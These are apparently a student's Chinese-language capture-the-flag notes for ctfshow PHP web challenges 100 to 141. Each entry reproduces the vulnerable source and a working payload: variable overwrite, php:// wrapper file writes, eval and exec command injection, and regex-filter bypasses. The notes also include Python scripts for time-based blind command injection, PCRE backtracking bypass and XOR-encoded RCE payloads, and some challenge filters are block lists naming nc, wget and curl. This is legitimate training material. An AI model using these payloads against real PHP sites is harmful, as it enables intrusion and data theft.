这里是三元运算符,如果存在get传参,则post传参的内容会作为get传参的值,获得flag的条件是get传参的方式传入$HTTP_FLAG=flag,所以,构造payload
```GET:/?flag=1 POST:HTTP_FLAG=flag ```
这样满足存在get传参,同时POST方式传入的内容以get方式传入,获得flag
## Web100


这里是要传三个参,然后对v0进行与的结果赋值,is_numeric函数如上图所说
再次php运算优先级是&&>=>and,所以这里如果v1的值是数字串,那就会赋给v0 true,v2和v3分别传入对应参数,这里最后用到eval,就要传入system函数(命令执行)
## Web101
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
*/
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?> ```
过滤了常用得payload的符号
用到新知识PHP Reflection API
在总结里
## Web102
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43
*/
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3
= $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str); } else{
die('hacker'); }
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker ```
```is_numeric()** 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true
**call_user_func()** 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
**file_put_contents()** 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容 ```
v1为post传入,v2因为is_num函数所以要全为数字,call_user函数和v2及v1相关,调用后会将16进制的v2转为ascii码,file_函数将v2base64解码并写入,之后访问写入的文件即可
```?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php
post: v1=hex2bin ```
**有时getshell后flag在源码里面**
## Web103
同上题
## Web104
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
} }
?> ```
```pay=v2[]=1
post:
v1[]=2 经典空数组绕过了属于是 ```
## Web105
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value; }foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value; } if(!($_POST['flag']==$flag)){
die($error); } echo "your are good".$flag."\n"; die($suces);
?> 你还想要flag嘛? ```
这里要有post传参flag的值要等于flag,并且要绕过开始的匹配
这里用到变量覆盖,因为post传参中不能出现flag,所以要将get传参中的flag传给post的参,这里可以构造一个get参数
```?a=flag post: error=a ```
## Web110
FilesystemIterator文件系统迭代器
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date: 2020-09-16 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2"); }
eval("echo new $v1($v2());");
}
?> ```
这里的v1(v2)是嵌套
```通过新建FilesystemIterator,可以显示当前目录下的文件结构。由于参数内部有个括号,所以不能使用字符串来索引路径,而是要通过拼接方法getcwd()来获取当前的路径
即payload:?v1=FilesystemIterator&v2=getcwd
当新建FilesystemIterator并传入路径时,会返回路径下的文件系统结构,可以通过echo显示,且error_reporting(0)的存在阻止了报错 ———————————————— 版权声明:本文为CSDN博主「Ho1aAs」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/Xxy605/article/details/110128544 ```
## Web111
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date: 2020-09-16 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__); error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2"); }
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2); }
}
?> ```
这里用到了105的变量覆盖
总体步骤是传入v1,v2的值,正则匹配v1,匹配到ctfshow的话执行getflag函数,getflag函数会将v2的地址传给v1,再通过var_dump输出v1的信息,这个信息包含v1的全部内容,所以构造pay
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
?v1=ctfshow&v2=GLOBALS
## Web112
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: Firebasky \# @Date: 2020-09-16 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!"); }else{
return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } ```
首先是对get方式传入的file文件的检查,如果不是一个可执行文件,就会执行filter函数,进行匹配,如果匹配到则返回hacker,匹配不到就会return $file
可以用file伪协议绕过
pay=file=php://filter/resource=flag.php
## Web113
```php if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)) ```
和上题一样,只是把filter也过滤了,filter伪协议不能用了,换其他方式
[PHP伪协议总结 - SegmentFault 思否](https://segmentfault.com/a/1190000018991087)
wp使用的是zlib协议
[PHP: zlib:// - Manual](https://www.php.net/manual/zh/wrappers.compression.php)
文档中有两个
compress.zlib://file.gz compress.bzip2://file.bz2
bzip2不能使用(也可能是我的问题,在问了)
```pay=?file=compress.zlib://flag.php ```
## Web114
```if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)) ```
跳回去了,filter协议可以用,与web112一样
## Web115
```php include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){
echo $flag; }else{
echo "hacker!!"; } }else{ echo "hacker!!!"; } ```
步骤为判断num是否为纯数字,并且num不能==36,去掉两边空白字符后不能等于36
php脚本测试
```php <?php for ($i = 0; $i <= 128; $i++) {
$a = chr($i) . '36';
if (trim($a) !== '36' && is_numeric($a)) {
echo urlencode(chr($i)) . "\n";
} }
得到结果可以用%0C绕过
pay=?%0C36
Web123
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
} } ?> ```
大概步骤是post方式传入的CTF_SHOW与CTF_SHOW.COM不能为空,GET方式传入的fl0g要为空,再是POST方式传入的fun中不能被正则匹配到,长度要<=18,然后会执行fun的内容,最后如果fl0g的值是flag_give_me则会输出flag
$_SERVER['argv']会包含字符串,包含了get方式传入的参
解题思路很明确,想办法给fl0g赋值
**这里要注意post传参的问题**
```在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有`空格、+、[`则会被转化为`_`,所以按理来说我们构造不出`CTF_SHOW.COM`这个变量(因为含有`.`),但php中有个特性就是如果传入`[`,它被转化为`_`之后,后面的字符就会被保留下来不会被替换,所以payload为 ```
**这是第一种思路,有丶麻烦**
$_SERVER['argv']这个变量是会把所有的传参以数组的形式表达
第一次匹配fl0g一定要是空,所以我们这里传入a=1+fl0g=flag_give_me
这样在实际上在数组里有了a和fl0g两个变量,因为c会被执行一次,所以这里用parse_str() 函数,他会解析字符串,并赋值给变量,意思是如果解析的字符串内有变量,那么该变量的值会变为字符串内所赋给的值,当判断都通过后,c被执行,fl0g被赋值,通过,flag出现
```get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) ```
**方法2**
这是师傅们的方法,雀氏简单
省去了给fl0g赋值的问题,直接输出了flag
```post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag ```
## Web125
与124一样
## Web126
同124,所以还是按照题目本意来做题好一点
## Web127
```php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];
//特殊字符检测 function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
} }
if(waf($url)){
die("嗯哼?"); }else{
extract($_GET); }
if($ctf_show==='ilove36d'){
echo $flag; } ```
根据网上的知识,web下的$_SERVER['QUERY_STRING']与$_SERVER['argv']是同样的作用~~,这里ctfshow的值被固定为flag的md5值,要用extract函数将get方式传入的数组中给ctfshow赋值为iloved~~
```正确的方式是url会获取当前传入变量的值,php中通过post与get传入的参数如果含有特殊符号就会被转为特殊字符_,用这一点直接传入ctf_show即可 pay=?ctf show=ilove36d ```
解题思路很明确了,~~通过一定的方式构造一个数组,含有ctf_show=ilove36d~~
~~过滤了'+'之前的方式不能用~~,
~~加粗的是错误思路!!!!!!!!!!!~~
123题中已经有明确的提示,传入的变量如果含有特殊符号会被转为_,所以直接传入空格就行
**第二种方法**
根据师傅们的wp,$_SERVER['QUERY_STRING']获取的是url解码前的结果,所以只要url编码一遍就可以了
```pay=?ctf%5Bshow=ilove36d ```
## Web128
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date: 2020-10-10 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0); include("flag.php"); highlight_file(__FILE__);
$f1 = $_GET['f1']; $f2 = $_GET['f2'];
if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; }
function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }NULL ```
基本步骤是,第一个判断是会调用check函数检查v1传入的值,如果正则匹配到了,则返回0,没有匹配到才会返回1,继而进行if内的内容,var_dump返回call_uesr_func函数的内容
```call_user_func — 把第一个参数作为回调函数调用 call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 ```
这里f2作为f1的参数参与f1的运算,结果返回后,结果作为回调函数进行运算,返回的值作为var_dump()函数的参数
解题思路很明确了,~~要通过call_user_func这一函数使返回值为flag.php~~
这里思路有丶问题,大概是第一次碰到的原因,所以有些不懂,这里要用get_defined_vars函数并且要用到gettext()函数的知识
**gettext()**
```php <?php echo gettext('2') ?> #结果是2 ```
**get_defined_vars()**
```get_defined_vars(): array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 ```
**方法**
第一次调用要使返回的值为get_defined_vars(),这里还有一个知识,某些配置开启的情况下_()等同于gettext()
```call_user_func(call_user_func($f1,$f2)) 可以将其构造为 call_user_func(call_user_func(_,'get_defined_vars')) 处理结果为 第一次 返回get_defined_vars call_user_func(get_defined_vars) 第二次 返回数组 最后 var_dump(数组) 输出结果 ```
**关于为什么不能直接使用gettext()**:正则匹配会匹配v1的值,不能含有字母
```构造pay pay=?f1=_&f2=get_defined_vars ```
## Web129
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date: 2020-10-13 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){
echo readfile($f); } } ```
readfile()读取文件
大概步骤是如果ctfshow在f中首次出现的位置大于0就会执行echo readfile($f)
解题步骤很明确了
f中要包含ctfshow并且位置不能在开头,同时f要包含一个可读取的文件名
想到可能要使用filter伪协议,但是没有尝试(实践才能出真知)
```pay=?f=php://filter/ctfshow|/resource=flag.php ```
**php中|是或(or)的意思**
## Web130
```php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
大致步骤是先判断f中是否含有ctfshow,如果有就会结束,第二个判断是判断cftshow是否在f中,如过没有就会结束
解题思路很明确了
要让f中存在ctfshow,且要绕过第一个正则匹配,这里s的意思是会匹配特殊符号,包括换行符
PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)这是常规的方法
说实在的,我是真没想到正则匹配在匹配是能有这么多的技巧,通过这一步我们可以使正则匹配失去他的作用
脚本
#-- coding: utf-8 --
#@Time : 2021/10/5 19:20
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : pcre重复攻击.py
#@Software: PyCharm import requests
url='http://842f5580-1bad-4133-a65f-5ec7091bd118.challenge.ctf.show:8080/' data={
'f':'a'*1000000+'ctfshow' } r=requests.post(url=url,data=data).text print(r)
另外,有两个非预期
第一个:
f=ctfshow
在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。。
第二个:
f[]=
stripos应用于数组的时候会返回null,null!==false,所以非预期了
Web131
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!'); }
echo $flag;
} ```
这个题和上题不同是f的值会等于通过post传参的f的值被强制转换为字符串后的结果
解题思路很明确了
~~要在被转为字符串的情况下实现绕过两个检测~~
~~上题的方法常规与非预期都无用了~~
**勾八!!!!自己看仔细啊,这次f要含有36Dctfshow,不是ctfshow啊!!!**
**回溯!!!!**
## Web132
这啥啊。。。

打开题目环境是一个网站,没有提示,啥啊。。。
hint里面的提示是访问robots.txt,访问/admin/,得到源码
```php include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
} } ```
**这里有一个mt_rand(int `$min`, int `$max`): int函数**
```参数 min 可选的、返回的最小值(默认:0)
max 可选的、返回的最大值(默认:mt_getrandmax())
返回值 返回 min (或者 0) 到 max (或者是到 mt_getrandmax() ,包含这个值)之间的随机整数。 ```
另外关于运算符
```&& 是 前面条件为假,则后面条件不运行 || 是前面条件为真,则后面不运行 并且||运算优先级低于&& ```
**解题思路(可能是题做太多了,脑子不太好用了,直接看WP了)**
因为||运算级低于&&所以先执行code和username的判断,所以如果前面两个判断都为错的话实际上是这样的
```if(flase || $username ==="admin") ```
也就是说我们只要满足username==admin即可
然后满足code=admin即可
**构造pay**
```?code=admin&username=admin&password=1 ```
## Web133
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: Firebasky \# @Date: 2020-10-13 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-10-13 16:43:44
*/
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6)); }else{
die("6个字母都还不够呀?!"); } } ```
@的作用是隐藏错误,这里不是很明白意思,猜测只是一个赋值,然后是判断f中是否含有正则中的内容,最后执行f的前六个字符组成的命令
解题思路emm好像很明确了
**还是要看WP......**
wp给的方式是套娃
```?F=`$F `;ls; ```
经过substr处理后的字符串实际上是(`F`,也就是``$F `;ls``)
这样就可以只用6个字符将F整个传入
## Web134(原笔记丢失,这是复习版)
```php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); } ```
大致步骤是先判断GET方式与POST方式传入的key1与key2的值是否为空,如果有一个不为空则会结束并输出"nonononono"
如果都为空则会进行`parse_str($_SERVER['QUERY_STRING'])`然后进行`extract($_POST)`最后判断key1与key2的值是否为36d
**师傅们的WP:**(复习版)
这里`parse_str($_SERVER['QUERY_STRING'])`的作用是读取url传入的内容,并将其中的变量覆盖,`extract($_POST)`的作用是读取已经被覆盖的_POST数组作为参数,将其中的键值,key1,key2赋给相应的值(此处为36d)
**本地复现代码**

**实际结果**

**构造pay**
```?_POST[key1]=36d&__POST[key2]=36d ```
## Web135(原笔记丢失,这是复习版)
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: Firebasky \# @Date: 2020-10-13 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-10-16 18:48:03
*/
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6)); }else{
die("师傅们居然破解了前面的,那就来一个加强版吧"); } } ```
是133题的加强版,与133题相比多了很多过滤,curl也被过滤
**师傅们的wp:**(复习版)
师傅们是使用了cp(copy函数)
```copy(string $source, string $dest, resource $context = ?): 将文件复制到指定位置 ```
**构造pay**
```?F=`$F `;cp flag.php 2.txt ```
## Web136
```php <?php error_reporting(0); function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
} } if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c); } else{
highlight_file(__FILE__); } ?> ```
大致步骤是先检测c是否为空,若c不为空则将c传入check函数并进行判断,若c被正则匹配到了,则会结束并输出'too young too simple sometimes naive!',如果没有则会进行exec()
**师傅们的wp**:
师傅们使用了linux下的命令tee
```Linux tee命令用于读取标准输入的数据,并将其内容输出成文件 用法: tee file1 file2 //复制文件 ls|tee 1.txt //命令输出到1.txt文件中 ```
**构造pay**
```?c=ls|tee 1 将目录输出到1这个文件中 ?c=cat /f149_15_h3r3|tee 2 读取f149_15_h3r3文件并将其中的内容输出到2这个文件中 ```
## Web137
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date: 2020-10-13 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-10-16 22:27:49
*/
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){
die("private class"); } static function getFlag(){
echo file_get_contents("flag.php"); } }
call_user_func($_POST['ctfshow']); ```
大致思路是有一个ctfshow的类与ctfshow的变量`call_user_func($_POST['ctfshow']);`执行ctfshow的内容,也就是ctfshow内的两个函数但是ctfshow函数一旦执行,__wakeup就会被执行,同时结束,输出"private class"
解题思路已经很明确了
想办法在不执行__wakeup()函数的情况下执行getFlag函数
**我这里思路有一个错误的地方**:
这是我构造的错误pay:`ctfshow=ctfshow.getFlag();`这是一般语言中通用的方法,但好像并不适用于php
**师傅们的wp**:
php中调用类函数的方法是self::函数名
**构造正确的pay**
`ctfshow=ctfshow::getFlag`
## Web138
```php <?php
/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date: 2020-10-13 11:25:09 \# @Last Modified by: h1xa \# @Last Modified time: 2020-10-16 22:52:13
*/
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){
die("private class"); } static function getFlag(){
echo file_get_contents("flag.php"); } }
if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); }
call_user_func($_POST['ctfshow']); ```
大致步骤是先通过`strripos($_POST['ctfshow'], ":")>-1`判断ctfshow里::出现的位置是否大于-1,如果>-1则会结束并返回"private function"
解题思路已经很明确了,想办法在有strripos()函数检测的情况下绕过
**师傅们的wp**:
属于是涨知识了
```call_user_func(array($ctfshow, ‘getFlag’)); 这时候会调用ctfshow中的getFlag方法 等价于call_user_func($ctfshow.'::getFlag'); ```
**构造pay**
`pay=ctfshow[0]=ctfshow&ctfshow[1]=getFlag`
## Web139
```php <?php error_reporting(0); function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
} } if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c); } else{
highlight_file(__FILE__); } ?> ```
与web136一样?~~(貌似)好像多过滤了`|`~~
大体步骤也没有变,尝试tee,`?c=ls|tee 1`结果无法成功,1不存在与目录下
实在是没有思路
**师傅们的wp:**
师傅们使用的编写shell脚本的方法(实在shell编程逐个获取的前提下编写的脚本)
要用到linux的awk与cut命令以及if条件判断语句
`awk`:[Linux awk 命令 | 菜鸟教程 (runoob.com)](https://www.runoob.com/linux/linux-comm-awk.html)

这里的使用`,`分割的意思是在log.txt内的内容如果是
456,123,455,899这种格式就会被分割为
456 123 如果没有`,`,就会被分割为456 123 455 899
内建变量表


`cut`:[Linux cut命令 | 菜鸟教程 (runoob.com)](https://www.runoob.com/linux/linux-comm-cut.html)
教程上有点少,大概是这个效果

`if条件判断语句`:[(7条消息) Linux shell if判断语句_maenlai0086的博客-CSDN博客](https://blog.csdn.net/maenlai0086/article/details/96136663)**注意,每一句if语句后都要接fi语句闭合才算完整,比如**`if XXXXX;fi`
**脚本1:获取flag所在的文件名**
```python
#-- coding: utf-8 --
#@Time : 2021/10/7 9:50
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : shell脚本逐个获取字符1.py
#@Software: PyCharm import requests url = "http://83c3b990-258b-41db-8baf-7270f5278fa7.challenge.ctf.show:8080/" result = "" for i in range(1,5):
for j in range(1,15):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " " ```
**脚本2:获取flag**
```python
#-- coding: utf-8 --
#@Time : 2021/10/7 9:50
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : shell脚本逐个获取字符2.py
#@Software: PyCharm import requests url = "http://e33fb440-03e9-4d19-ad81-a7a9c775f86e.challenge.ctf.show:8080/" result = "" for j in range(1,60):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break result += " " ```
## Web140
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 12:39:25
*/
error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
} }
大致步骤是先判断POST方式传入的f1与f2的值是否为空,若都不为空则会将f1与f2的值强制转换为string型,然后再是正则匹配f1内的值,如果匹配到就会再匹配f2的值,然后将f1(f2())的值赋给code,将code的值转换类型后如果是ctfshow就会输出flag.php
解题思路…不太明确
f2作为参数执行f1函数的值,返回值如果为ctfshow就可以输出flag,关键是intval()取整的值要为ctfshow
思路出错!!!
师傅们的wp:
师傅们给出的是利用弱比较绕过'=='
弱比较类型表:

这里可以知道0和字符串比较是结果是true,所以这道题就变为了构造一个返回值为空的函数
构造pay
f1=intval&f2=intval
Web141
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
} }
大致步骤是先判断v1与v2的值,两个都要是数字,然后匹配v3,匹配到会执行v1v2v3
解题思路无,这个用我现在的知识做不出来
师傅们的wp:
首先要明白eval()函数中return的用法PHP: eval - Manual
关于code部分的描述

实际举例的话就是
eval(return phpinfo();)这是可以的phpinfo()可以执行
eval(return 1; phpinfo();)这样在return 1后会直接退出,phpinfo()不能执行
所以v3是要传入命令执行语句
字母数字都被ban掉(/w是匹配出了特殊符号以外的所有字母和数字)
师傅给出的异或脚本:
#-- coding: utf-8 --
#@Time : 2021/10/7 15:24
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : 异或脚本(字母数字被ban,用符号构造命令).py
#@Software: PyCharm import requests import urllib import re
# 生成可用的字符 def write_rce():
result = ''
preg = '[a-zA-Z0-9]'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)
# 根据输入的命令在生成的txt中进行匹配 def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)
main() ```
`这里return v1v3v2会依次执行`,我们想执行v3,但按照这个逻辑v1中的内容必然会影响v3的语句,为了执行v3我们需要一些操作
**新技巧**:这里我们使用数字+命令语句的方式绕过,在php中数字是可以和命令进行运算的,所以我们要在脚本构造的出的语句前加上运算符(基本都可以),v3最后别忘记加`;`结尾
**构造pay**
`?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");`查看目录下文件
`?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");`查看flag.php中的内容获取flag
## Web142
